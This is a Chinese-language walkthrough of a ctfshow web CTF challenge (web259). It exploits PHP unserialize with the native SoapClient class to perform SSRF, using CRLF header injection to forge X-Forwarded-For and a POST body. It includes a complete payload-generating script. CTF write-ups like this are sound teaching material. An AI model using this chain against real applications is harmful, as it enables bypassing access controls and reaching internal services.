ctfshow web入門之web259

dtwin發表於2024-05-26

web259

題目描述

1.題目原始碼很短:

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

2.題目在提示給出了flag.php的內容:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

題目解讀

1.首先,根據原始碼,可見我們需要傳入一個反序列化的引數,並且呼叫一個不存在的getFlag()方法,而我們知道,呼叫一個不存在的公共方法,就會自動呼叫__call方法,因此我們應當去聯想有哪些原生類有__call方法,下面給出一個找原生類方法的指令碼:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

聯想到這題的提示,很容易想到ssrf中的SoapClient類,並且它也存在__call方法!

image-20240526112247311

跟進一下soap類:

image-20240526113324168

在php手冊上查詢,發現這個方法可以呼叫遠端soap方法!(雖然已經被廢棄了)

image-20240526141800992

2.現在思路就明確了:我們需要利用SoapClient類構造一個post請求,讓ip=127.0.0.1,攜帶token="ctfshow"。

3.首先我們需要構造一下UA頭,繞過127.0.0.1的限制:

$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

這裡的"\r\n"是CRLF注入,代表著"回車換行";而我們知道,請求頭和請求體之間是存在一個空行的,因此Content-Length和token之間存在了兩對"\r\n"。之所以要寫兩個127.0.0.1,是因為程式碼中使用了兩次array_pop,每次會刪除最後一個陣列元素,因此為了將$ip賦值為127.0.0.1,需要寫兩個127.0.0.1。

4.其次我們查詢php手冊,找到SoapClient類的構造方法所需的引數:

$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
soap是什麼
1.soap是webServer的三要素之一(SOAP、WSDL、UDDI)
2.WSDL用來描述如何訪問具體的介面
3.UUDI用來管理、分發、查詢webServer
4.SOAP是連線web服務和客戶端的介面
簡單地說,SOAP 是一種簡單的基於 XML 的協議,它使應用程式透過 HTTP 來交換資訊。 php中的soapClient類
php中的soapClient類可以建立soap資料包文,與wsdl介面進行互動。

第一個引數設定為null,表示非wsdl模式,反序列化的時候會對第二個引數指明的url進行soap請求。

第二個引數中,可以設定uri、location、user_agent等值。

uri:指定名稱空間 URI(Namespace URI)。

location:指定 Web 服務的 URL 地址。

user_agent:指定 HTTP 請求的 User-Agent 頭。

5.接著,我們把上面兩步的資料整合在一起,進行序列化,然後傳遞引數,再訪問flag.txt即可拿到flag:

<?php
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>

相關文章